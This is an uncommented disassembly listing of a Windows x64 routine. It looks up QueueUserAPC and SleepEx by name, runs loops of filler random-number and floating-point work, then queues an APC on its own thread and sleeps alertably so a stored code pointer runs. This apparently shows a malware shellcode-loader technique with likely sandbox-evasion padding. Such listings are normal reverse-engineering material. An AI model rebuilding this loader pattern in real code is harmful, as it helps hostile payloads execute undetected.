call fcn.140003e80
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x344], 1
cmp dword [rbp + 0x344], 0x104
jle 0x1400028f9
add dword [rbp + 0x368], 1
cmp dword [rbp + 0x368], 0x317
jle 0x1400026f2
mov rax, qword [rbp + 0x1d8]
mov qword [rbp + 0x1c0], rax
mov rax, qword [rbp + 0x330]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x330]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1b0], rax
mov dword [rbp + 0x340], 0
jmp 0x140002a84
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x4bda12f7
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x1ac], eax
mov ecx, dword [rbp + 0x1ac]
mov eax, ecx
add eax, eax
add eax, ecx
lea ecx, [rax*8]
add eax, ecx
sub edx, eax
mov dword [rbp + 0x1ac], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006160]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x1ac]
movq xmm0, rax
call fcn.140003eb0
movq rax, xmm0
mov qword [rbp + 0x1a0], rax
add dword [rbp + 0x340], 1
cmp dword [rbp + 0x340], 0x3bf
jle 0x140002a01
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x1c0]
mov r9, qword [rbp + 0x1b8]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x1b0]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x3a0]
add rsp, 0x438
pop rbx
pop rbp
ret